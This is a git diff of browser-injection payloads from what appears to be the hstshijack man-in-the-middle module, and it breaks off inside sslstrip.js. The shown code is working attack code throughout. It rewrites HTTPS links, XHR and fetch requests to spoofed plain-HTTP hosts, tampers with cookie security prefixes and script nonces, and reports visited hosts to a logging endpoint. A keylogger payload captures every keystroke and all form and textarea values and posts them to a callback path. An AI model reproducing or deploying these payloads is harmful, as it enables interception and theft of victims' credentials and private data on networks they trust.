- obf_hstshijack_var_retval[2] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_ten, "$1");
- /* obf_hstshijack_path */
- obf_hstshijack_var_sliceLength = obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[2].length;
- obf_hstshijack_var_retval[3] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_eleven, "$1");
- /* obf_hstshijack_search */
- obf_hstshijack_var_sliceLength = obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[3].length;
- obf_hstshijack_var_retval[4] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength).replace(obf_hstshijack_var_regex_twelve, "$1");
- /* obf_hstshijack_hash */
- obf_hstshijack_var_retval[5] = obf_hstshijack_var_strippedURL.slice(obf_hstshijack_var_sliceLength + obf_hstshijack_var_retval[4].length);
- return obf_hstshijack_var_retval;
- }
+ const obf_hstshijack_sendCallback = obf_hstshijack_host => {
+ if (obf_hstshijack_callback_log.indexOf(obf_hstshijack_host) !== -1) {
+ return;
+ }
+ obf_hstshijack_callback_log.push(obf_hstshijack_host);
+ var obf_hstshijack_url = location.origin + "/obf_path_ssl_log?" + obf_hstshijack_host;
+ if (obf_hstshijack_fetch) {
+ obf_hstshijack_fetch(obf_hstshijack_url)
+ } else {
+ var obf_hstshijack_request = new obf_hstshijack_XMLHttpRequest();
+ obf_hstshijack_request.open("GET", obf_hstshijack_url, true);
+ obf_hstshijack_request.send();
+ }
+ };
- function obf_hstshijack_func_callback(obf_hstshijack_var_host) {
- for (
- var obf_hstshijack_var_i = 0;
- obf_hstshijack_var_i < obf_hstshijack_var_callback_log.length;
- obf_hstshijack_var_i++
- ) {
- if (obf_hstshijack_var_callback_log[i] == obf_hstshijack_var_host) {
- return;
- }
- }
- obf_hstshijack_var_callback_log.push(obf_hstshijack_var_host);
- obf_hstshijack_func_fetch(location.origin + "/obf_hstshijack_path_ssl_log?" + obf_hstshijack_var_host)
- }
+ const obf_hstshijack_hijackHost = obf_hstshijack_host => {
+ for (
+ let obf_hstshijack_i = 0;
+ obf_hstshijack_i < obf_hstshijack_target_hosts.length;
+ obf_hstshijack_i++
+ ) {
+ const obf_hstshijack_whole_rx_set = obf_hstshijack_toWholeRegexpSet(
+ obf_hstshijack_target_hosts[obf_hstshijack_i],
+ obf_hstshijack_replacement_hosts[obf_hstshijack_i]);
+ obf_hstshijack_whole_rx_set[0].lastIndex = 0;
+ if (obf_hstshijack_whole_rx_set[0].test(obf_hstshijack_host)) {
+ obf_hstshijack_host = obf_hstshijack_host.replace(
+ obf_hstshijack_whole_rx_set[0], obf_hstshijack_whole_rx_set[1]);
+ break;
+ }
+ }
+ return obf_hstshijack_host;
+ };
- function obf_hstshijack_func_hijack(obf_hstshijack_var_host) {
- for (
- var obf_hstshijack_var_i = 0;
- obf_hstshijack_var_i < obf_hstshijack_var_target_hosts.length;
- obf_hstshijack_var_i++
- ) {
- var obf_hstshijack_var_whole_regexp_set = obf_hstshijack_func_toWholeRegexpSet(
- obf_hstshijack_var_target_hosts[obf_hstshijack_var_i],
- obf_hstshijack_var_replacement_hosts[obf_hstshijack_var_i]);
- if (obf_hstshijack_var_host.match(obf_hstshijack_var_whole_regexp_set[0])) {
- obf_hstshijack_var_host = obf_hstshijack_var_host.replace(
- obf_hstshijack_var_whole_regexp_set[0],
- obf_hstshijack_var_whole_regexp_set[1]);
- break;
- }
- }
- return obf_hstshijack_var_host;
- }
+ const obf_hstshijack_hijackUrl = obf_hstshijack_url => {
+ const obf_hstshijack_parsed_url = obf_hstshijack_parseURL(obf_hstshijack_url);
+ const obf_hstshijack_host = obf_hstshijack_parsed_url[1];
+ const obf_hstshijack_hijacked_host = obf_hstshijack_hijackHost(obf_hstshijack_host);
+ if (obf_hstshijack_hijacked_host !== obf_hstshijack_host) {
+ obf_hstshijack_parsed_url[1] = obf_hstshijack_hijacked_host;
+ const obf_hstshijack_protocol = obf_hstshijack_parsed_url[0];
+ if (obf_hstshijack_rx_fifteen.test(obf_hstshijack_protocol)) {
+ obf_hstshijack_parsed_url[0] = obf_hstshijack_protocol.replace(
+ obf_hstshijack_rx_fifteen, "$1://");
+ }
+ if (obf_hstshijack_rx_sixteen.test(obf_hstshijack_parsed_url[2])) {
+ obf_hstshijack_parsed_url[2] = "";
+ }
+ return obf_hstshijack_parsed_url.join("");
+ }
+ return obf_hstshijack_url;
+ };
- function obf_hstshijack_func_hook_XMLHttpRequest() {
- XMLHttpRequest.prototype.open = function(
- obf_hstshijack_var_method,
- obf_hstshijack_var_url,
- obf_hstshijack_var_async,
- obf_hstshijack_var_username,
- obf_hstshijack_var_password
- ) {
- var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_url),
- obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]);
- if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) {
- if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") {
- obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
- }
- if (obf_hstshijack_var_parsed_url[2] === ":443") {
- obf_hstshijack_var_parsed_url[2] = "";
- }
- }
- obf_hstshijack_var_url = obf_hstshijack_var_parsed_url[0] +
- obf_hstshijack_var_hijacked_host +
- obf_hstshijack_var_parsed_url[2] +
- obf_hstshijack_var_parsed_url[3] +
- obf_hstshijack_var_parsed_url[4] +
- obf_hstshijack_var_parsed_url[5];
- return obf_hstshijack_func_open.apply(this, arguments);
- }
- }
+ const obf_hstshijack_hijackHtml = obf_hstshijack_html => {
+ const obf_hstshijack_url_matches = obf_hstshijack_html.match(obf_hstshijack_rx_eighteen) || [];
+ for (const obf_hstshijack_match of obf_hstshijack_url_matches) {
+ const obf_hstshijack_host = obf_hstshijack_match.replace(obf_hstshijack_rx_nineteen, "");
+ const obf_hstshijack_spoofed_host = obf_hstshijack_hijackHost(obf_hstshijack_host);
+ if (obf_hstshijack_host !== obf_hstshijack_spoofed_host) {
+ const obf_hstshijack_spoofed_html = obf_hstshijack_match.replace(
+ obf_hstshijack_host,
+ obf_hstshijack_spoofed_host);
+ obf_hstshijack_html = obf_hstshijack_html.replace(
+ obf_hstshijack_match,
+ obf_hstshijack_spoofed_html);
+ }
+ }
+ return obf_hstshijack_html;
+ };
- function obf_hstshijack_func_hook_fetch() {
- globalThis.fetch = function(obf_hstshijack_var_resource, obf_hstshijack_var_options) {
- var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_resource),
- obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]);
- if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) {
- if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") {
- obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
- }
- if (obf_hstshijack_var_parsed_url[2] === ":443") {
- obf_hstshijack_var_parsed_url[2] = "";
- }
- }
- obf_hstshijack_var_resource = obf_hstshijack_var_parsed_url[0] +
- obf_hstshijack_var_hijacked_host +
- obf_hstshijack_var_parsed_url[2] +
- obf_hstshijack_var_parsed_url[3] +
- obf_hstshijack_var_parsed_url[4] +
- obf_hstshijack_var_parsed_url[5];
- return obf_hstshijack_func_fetch(obf_hstshijack_var_resource, obf_hstshijack_var_options);
- }
- }
+ const obf_hstshijack_hookCookieGetterAndSetter = async () => {
+ while (document === undefined) await obf_hstshijack_sleep(0);
+ const obf_hstshijack_originalCookieGetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").get,
+ obf_hstshijack_originalCookieSetter = Object.getOwnPropertyDescriptor(Document.prototype, "cookie").set;
+ Object.defineProperty(document, "cookie", {
+ configurable: true,
+ get: () => obf_hstshijack_originalCookieGetter.call(document)
+ .replaceAll("obf_hstshijack_cookie_host_prefix", "__Host-")
+ .replaceAll("obf_hstshijack_cookie_secure_prefix", "__Secure-"),
+ set: obf_hstshijack_value => {
+ obf_hstshijack_rx_cookie_domain.lastIndex = 0;
+ if (obf_hstshijack_rx_cookie_domain.test(obf_hstshijack_value)) {
+ const obf_hstshijack_cookie_domain = obf_hstshijack_value.match(obf_hstshijack_rx_cookie_domain)[1];
+ const obf_hstshijack_selector_string = obf_hstshijack_cookie_domain[0] === "."
+ ? "*" + obf_hstshijack_cookie_domain : obf_hstshijack_cookie_domain;
+ if (obf_hstshijack_selector_string[0] === "*") {
+ for (obf_hstshijack_a = 0; obf_hstshijack_a < obf_hstshijack_target_hosts.length; obf_hstshijack_a++) {
+ if (obf_hstshijack_selector_string === obf_hstshijack_target_hosts[obf_hstshijack_a]) {
+ obf_hstshijack_value = obf_hstshijack_value.replace(
+ obf_hstshijack_cookie_domain,
+ obf_hstshijack_replacement_hosts[obf_hstshijack_a]);
+ break;
+ } else {
+ const obf_hstshijack_unspoofed_domain = "a" + obf_hstshijack_cookie_domain;
+ const obf_hstshijack_spoofed_domain = obf_hstshijack_hijackHost(obf_hstshijack_unspoofed_domain);
+ if (obf_hstshijack_unspoofed_domain !== obf_hstshijack_spoofed_domain) {
+ obf_hstshijack_value = obf_hstshijack_value.replace(
+ obf_hstshijack_cookie_domain,
+ obf_hstshijack_spoofed_domain.slice(1));
+ break;
+ }
+ }
+ }
+ } else {
+ for (obf_hstshijack_a = 0; obf_hstshijack_a < obf_hstshijack_target_hosts.length; obf_hstshijack_a++) {
+ const obf_hstshijack_spoofed_domain = obf_hstshijack_hijackHost(obf_hstshijack_cookie_domain);
+ if (obf_hstshijack_cookie_domain !== obf_hstshijack_spoofed_domain) {
+ obf_hstshijack_value = obf_hstshijack_value.replace(
+ obf_hstshijack_cookie_domain,
+ obf_hstshijack_spoofed_domain);
+ break;
+ }
+ }
+ }
+ }
+ obf_hstshijack_originalCookieSetter.call(document, obf_hstshijack_value
+ .replace(obf_hstshijack_rx_cookie_host_prefix, "obf_hstshijack_cookie_host_prefix")
+ .replace(obf_hstshijack_rx_cookie_secure_prefix, "obf_hstshijack_cookie_secure_prefix")
+ .replace(obf_hstshijack_rx_cookie_downgrade, ""))
+ },
+ });
+ };
- function obf_hstshijack_func_hook_nodes() {
- document.querySelectorAll("a,form,script,iframe").forEach(function(obf_hstshijack_var_node){
- try {
- var obf_hstshijack_var_url = "";
- switch (obf_hstshijack_var_node.tagName) {
- case "A":
- obf_hstshijack_var_node.href
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.href
- : "";
- break;
- case "FORM":
- obf_hstshijack_var_node.action
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.action
- : "";
- break;
- case "SCRIPT":
- obf_hstshijack_var_node.src
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.src
- : "";
- break;
- case "IFRAME":
- obf_hstshijack_var_node.src
- ? obf_hstshijack_var_url = obf_hstshijack_var_node.src
- : "";
- break;
- }
- if (obf_hstshijack_var_url.match(/^\s*(?:http[s]?:)?\/\/[^:/?#]+/i)) {
- var obf_hstshijack_var_parsed_url = obf_hstshijack_func_parseURL(obf_hstshijack_var_url),
- obf_hstshijack_var_hijacked_host = obf_hstshijack_func_hijack(obf_hstshijack_var_parsed_url[1]);
- if (obf_hstshijack_var_hijacked_host != obf_hstshijack_var_parsed_url[1]) {
- if (obf_hstshijack_var_parsed_url[0].toLowerCase() === "https://") {
- obf_hstshijack_var_parsed_url[0] = obf_hstshijack_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://");
- }
- if (obf_hstshijack_var_parsed_url[2] === ":443") {
- obf_hstshijack_var_parsed_url[2] = "";
- }
- }
- var obf_hstshijack_var_hijacked_url = obf_hstshijack_var_parsed_url[0] +
- obf_hstshijack_var_hijacked_host +
- obf_hstshijack_var_parsed_url[2] +
- obf_hstshijack_var_parsed_url[3] +
- obf_hstshijack_var_parsed_url[4] +
- obf_hstshijack_var_parsed_url[5];
- switch (obf_hstshijack_var_node.tagName) {
- case "A":
- if (obf_hstshijack_var_node.href) {
- obf_hstshijack_var_node.href = obf_hstshijack_var_hijacked_url;
- }
- break;
- case "FORM":
- if (obf_hstshijack_var_node.action) {
- obf_hstshijack_var_node.action = obf_hstshijack_var_hijacked_url;
- }
- break;
- case "SCRIPT":
- if (obf_hstshijack_var_node.src) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_hijacked_url;
- }
- break;
- case "IFRAME":
- if (obf_hstshijack_var_node.src) {
- obf_hstshijack_var_node.src = obf_hstshijack_var_hijacked_url;
- }
- break;
- }
- obf_hstshijack_func_callback(obf_hstshijack_var_parsed_url[1].toLowerCase());
- }
- } catch(obf_hstshijack_var_ignore) {}
- });
- }
+ const obf_hstshijack_hookHtmlSetters = () => {
+ Object.defineProperty(Element.prototype, "innerHTML", {
+ configurable: true,
+ set: function(obf_hstshijack_html) {
+ obf_hstshijack_innerHtmlSetter.call(
+ this,
+ obf_hstshijack_hijackHtml(obf_hstshijack_html));
+ },
+ });
+ Object.defineProperty(Element.prototype, "outerHTML", {
+ configurable: true,
+ set: function(obf_hstshijack_html) {
+ obf_hstshijack_outerHtmlSetter.call(
+ this,
+ obf_hstshijack_hijackHtml(obf_hstshijack_html));
+ },
+ });
+ };
- try {
- obf_hstshijack_func_hook_XMLHttpRequest();
- } catch(obf_hstshijack_var_ignore) {}
+ const obf_hstshijack_hookLinkHrefSetter = () => {
+ Object.defineProperty(HTMLLinkElement.prototype, "href", {
+ configurable: true,
+ set: function() {
+ obf_hstshijack_linkHrefSetter.call(this, "");
+ },
+ });
+ };
- try {
- obf_hstshijack_func_hook_fetch();
- } catch(obf_hstshijack_var_ignore) {}
+ const obf_hstshijack_hookScriptNonceSetter = () => {
+ Object.defineProperty(HTMLScriptElement.prototype, "nonce", {
+ configurable: true,
+ set: function() {
+ this.setAttribute("nonce", "");
+ },
+ });
+ };
- globalThis.addEventListener("DOMContentLoaded", function(){
- try {
- setInterval(obf_hstshijack_func_hook_nodes, 2000);
- obf_hstshijack_func_hook_nodes();
- } catch(obf_hstshijack_var_ignore) {}
+ const obf_hstshijack_hookScriptSrcSetter = () => {
+ Object.defineProperty(HTMLScriptElement.prototype, "src", {
+ configurable: true,
+ set: function(obf_hstshijack_url) {
+ obf_hstshijack_scriptSrcSetter.call(
+ this,
+ obf_hstshijack_hijackUrl(obf_hstshijack_url));
+ },
+ });
+ };
- try {
- globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes);
- } catch(obf_hstshijack_var_ignore) {}
- });
-})();
+ const obf_hstshijack_hookXMLHttpRequest = () => {
+ globalThis.XMLHttpRequest.prototype.open = function(
+ obf_hstshijack_method,
+ obf_hstshijack_url,
+ obf_hstshijack_async,
+ obf_hstshijack_username,
+ obf_hstshijack_password
+ ) {
+ obf_hstshijack_url = obf_hstshijack_hijackUrl(obf_hstshijack_url);
+ return obf_hstshijack_xhrOpen.apply(this, arguments);
+ }
+ };
+
+ const obf_hstshijack_hookFetch = () => {
+ globalThis.fetch = function(obf_hstshijack_resource, obf_hstshijack_options) {
+ return obf_hstshijack_fetch(obf_hstshijack_hijackUrl(obf_hstshijack_resource), obf_hstshijack_options);
+ }
+ };
+
+ try {
+ obf_hstshijack_hookCookieGetterAndSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookHtmlSetters();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookLinkHrefSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookScriptNonceSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookScriptSrcSetter();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookXMLHttpRequest();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ obf_hstshijack_hookFetch();
+ } catch(obf_hstshijack_ignore) {}
+
+ try {
+ while (document === undefined) await obf_hstshijack_sleep(0);
+ obf_hstshijack_mutation_observer.observe(document.documentElement, {
+ childList: true,
+ subtree: true,
+ attributes: true,
+ });
+ } catch(obf_hstshijack_ignore) {}
+})().catch(() => {});
diff --git a/hstshijack/payloads/keylogger.js b/hstshijack/payloads/keylogger.js
index d01224a..e8f8738 100644
--- a/hstshijack/payloads/keylogger.js
+++ b/hstshijack/payloads/keylogger.js
@@ -1,141 +1,141 @@
/*
- Hooks the keyup event and onsubmit events of forms and disables form autocompletion.
+ Hooks the keyup event and onsubmit events of forms and disables form autocompletion.
- Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
- 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
- loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
- are already declared before this is injected.
+ Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
+ 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
+ loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
+ are already declared before this is injected.
*/
(function(){
- "use strict";
-
- var obf_hstshijack_var_keystrokes = [];
-
- function obf_hstshijack_func_random_string(obf_hstshijack_var_length) {
- var obf_hstshijack_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
- obf_hstshijack_var_buff = new Array(obf_hstshijack_var_length);
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_length; obf_hstshijack_var_i++) {
- obf_hstshijack_var_buff[obf_hstshijack_var_i] = obf_hstshijack_var_chars.charAt(parseInt(Math.random() * obf_hstshijack_var_chars.length));
- }
- return obf_hstshijack_var_buff.join("");
- }
-
- function obf_hstshijack_func_callback() {
- try {
- var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
- obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
- obf_hstshijack_var_params = "";
-
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
- }
- }
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
- }
- }
- if (obf_hstshijack_var_params !== "") {
- obf_hstshijack_var_params += "&";
- }
- obf_hstshijack_var_params += "obf_hstshijack_var_keystrokes=" + encodeURIComponent(obf_hstshijack_var_keystrokes.join(","));
-
- if (obf_hstshijack_var_params.length > 0) {
- var obf_hstshijack_var_req = new XMLHttpRequest();
- obf_hstshijack_var_req.open(
- "POST",
- "http://" + location.host + "obf_hstshijack_path_callback?" + obf_hstshijack_var_params,
- true);
- obf_hstshijack_var_req.send();
- }
- } catch(obf_hstshijack_var_ignore){}
- }
-
- function obf_hstshijack_func_callback_whitelist() {
- try {
- var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
- obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
- obf_hstshijack_var_params = "";
-
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
- }
- }
- for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
- if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
- obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
- "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
- (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
- }
- }
-
- if (obf_hstshijack_var_params.length > 0) {
- var obf_hstshijack_var_req = new XMLHttpRequest();
- obf_hstshijack_var_req.open(
- "POST",
- "http://" + location.host + "obf_hstshijack_path_whitelist?" + obf_hstshijack_var_params,
- true);
- obf_hstshijack_var_req.send();
- }
- } catch(obf_hstshijack_var_ignore){}
- }
-
- function obf_hstshijack_func_hook_keyup() {
- globalThis.addEventListener("keydown", function(obf_hstshijack_var_event) {
- try {
- obf_hstshijack_var_keystrokes.push(obf_hstshijack_var_event.key);
- obf_hstshijack_func_callback();
- } catch(obf_hstshijack_var_ignore){}
- });
- }
-
- function obf_hstshijack_func_hook_forms() {
- document.querySelectorAll("form").forEach(function(obf_hstshijack_var_form){
- // if (obf_hstshijack_var_form.querySelector("input[type=password]")) {
- // obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback_whitelist);
- // } else {
- obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback);
- // }
- });
- }
-
- function obf_hstshijack_func_hook_inputs() {
- document.querySelectorAll("input").forEach(function(obf_hstshijack_var_input){
- obf_hstshijack_var_input.autocomplete = "off";
- });
- }
-
- var obf_hstshijack_var_hooked_tag = obf_hstshijack_func_random_string(parseInt(8 + Math.random() * 8));
-
- try {
- obf_hstshijack_func_hook_keyup();
- } catch(obf_hstshijack_var_ignore){}
-
- try {
- obf_hstshijack_func_hook_forms();
- } catch(obf_hstshijack_var_ignore){}
-
- try {
- obf_hstshijack_func_hook_inputs();
- } catch(obf_hstshijack_var_ignore){}
-
- try {
- globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_forms);
- globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_inputs);
- globalThis.addEventListener("load", obf_hstshijack_func_hook_forms);
- globalThis.addEventListener("load", obf_hstshijack_func_hook_inputs);
- setInterval(obf_hstshijack_func_hook_forms, 2000);
- setInterval(obf_hstshijack_func_hook_inputs, 2000);
- } catch(obf_hstshijack_var_ignore){}
+ "use strict";
+
+ var obf_hstshijack_var_keystrokes = [];
+
+ function obf_hstshijack_func_random_string(obf_hstshijack_var_length) {
+ var obf_hstshijack_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
+ obf_hstshijack_var_buff = new Array(obf_hstshijack_var_length);
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_length; obf_hstshijack_var_i++) {
+ obf_hstshijack_var_buff[obf_hstshijack_var_i] = obf_hstshijack_var_chars.charAt(parseInt(Math.random() * obf_hstshijack_var_chars.length));
+ }
+ return obf_hstshijack_var_buff.join("");
+ }
+
+ function obf_hstshijack_func_callback() {
+ try {
+ var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
+ obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
+ obf_hstshijack_var_params = "";
+
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
+ }
+ }
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
+ }
+ }
+ if (obf_hstshijack_var_params !== "") {
+ obf_hstshijack_var_params += "&";
+ }
+ obf_hstshijack_var_params += "obf_hstshijack_var_keystrokes=" + encodeURIComponent(obf_hstshijack_var_keystrokes.join(","));
+
+ if (obf_hstshijack_var_params.length > 0) {
+ var obf_hstshijack_var_req = new XMLHttpRequest();
+ obf_hstshijack_var_req.open(
+ "POST",
+ "http://" + location.host + "obf_hstshijack_path_callback?" + obf_hstshijack_var_params,
+ true);
+ obf_hstshijack_var_req.send();
+ }
+ } catch(obf_hstshijack_var_ignore){}
+ }
+
+ function obf_hstshijack_func_callback_whitelist() {
+ try {
+ var obf_hstshijack_var_inputs = document.getElementsByTagName("input"),
+ obf_hstshijack_var_textareas = document.getElementsByTagName("textarea"),
+ obf_hstshijack_var_params = "";
+
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_inputs.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_inputs[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_inputs[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_inputs.length-1) ? "&" : "");
+ }
+ }
+ for (var obf_hstshijack_var_i = 0; obf_hstshijack_var_i < obf_hstshijack_var_textareas.length; obf_hstshijack_var_i++) {
+ if (obf_hstshijack_var_textareas[obf_hstshijack_var_i].value != "") {
+ obf_hstshijack_var_params += encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].name) +
+ "=" + encodeURIComponent(obf_hstshijack_var_textareas[obf_hstshijack_var_i].value) +
+ (obf_hstshijack_var_i < (obf_hstshijack_var_textareas.length-1) ? "&" : "");
+ }
+ }
+
+ if (obf_hstshijack_var_params.length > 0) {
+ var obf_hstshijack_var_req = new XMLHttpRequest();
+ obf_hstshijack_var_req.open(
+ "POST",
+ "http://" + location.host + "obf_hstshijack_path_whitelist?" + obf_hstshijack_var_params,
+ true);
+ obf_hstshijack_var_req.send();
+ }
+ } catch(obf_hstshijack_var_ignore){}
+ }
+
+ function obf_hstshijack_func_hook_keyup() {
+ globalThis.addEventListener("keydown", function(obf_hstshijack_var_event) {
+ try {
+ obf_hstshijack_var_keystrokes.push(obf_hstshijack_var_event.key);
+ obf_hstshijack_func_callback();
+ } catch(obf_hstshijack_var_ignore){}
+ });
+ }
+
+ function obf_hstshijack_func_hook_forms() {
+ document.querySelectorAll("form").forEach(function(obf_hstshijack_var_form){
+ // if (obf_hstshijack_var_form.querySelector("input[type=password]")) {
+ // obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback_whitelist);
+ // } else {
+ obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback);
+ // }
+ });
+ }
+
+ function obf_hstshijack_func_hook_inputs() {
+ document.querySelectorAll("input").forEach(function(obf_hstshijack_var_input){
+ obf_hstshijack_var_input.autocomplete = "off";
+ });
+ }
+
+ var obf_hstshijack_var_hooked_tag = obf_hstshijack_func_random_string(parseInt(8 + Math.random() * 8));
+
+ try {
+ obf_hstshijack_func_hook_keyup();
+ } catch(obf_hstshijack_var_ignore){}
+
+ try {
+ obf_hstshijack_func_hook_forms();
+ } catch(obf_hstshijack_var_ignore){}
+
+ try {
+ obf_hstshijack_func_hook_inputs();
+ } catch(obf_hstshijack_var_ignore){}
+
+ try {
+ globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_forms);
+ globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_inputs);
+ globalThis.addEventListener("load", obf_hstshijack_func_hook_forms);
+ globalThis.addEventListener("load", obf_hstshijack_func_hook_inputs);
+ setInterval(obf_hstshijack_func_hook_forms, 2000);
+ setInterval(obf_hstshijack_func_hook_inputs, 2000);
+ } catch(obf_hstshijack_var_ignore){}
})();
diff --git a/hstshijack/payloads/sslstrip.js b/hstshijack/payloads/sslstrip.js
index 0fec2ba..8abf80d 100644
--- a/hstshijack/payloads/sslstrip.js
+++ b/hstshijack/payloads/sslstrip.js
@@ -1,72 +1,68 @@
-/*
- Hooks XMLHttpRequest as well as 'a', 'form', 'script' & 'iframe' nodes.
-
- Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and
- 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module
- loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts'
- are already declared before this is injected.
-*/
-
(function(){
- "use strict";
+ "use strict";
- var obf_hstshijack_func_open = XMLHttpRequest.prototype.open;
+ var obf_hstshijack_func_open = XMLHttpRequest.prototype.open;
- function obf_hstshijack_func_hook_XMLHttpRequest() {
- XMLHttpRequest.prototype.open = function(
- obf_hstshijack_var_method,
- obf_hstshijack_var_url,
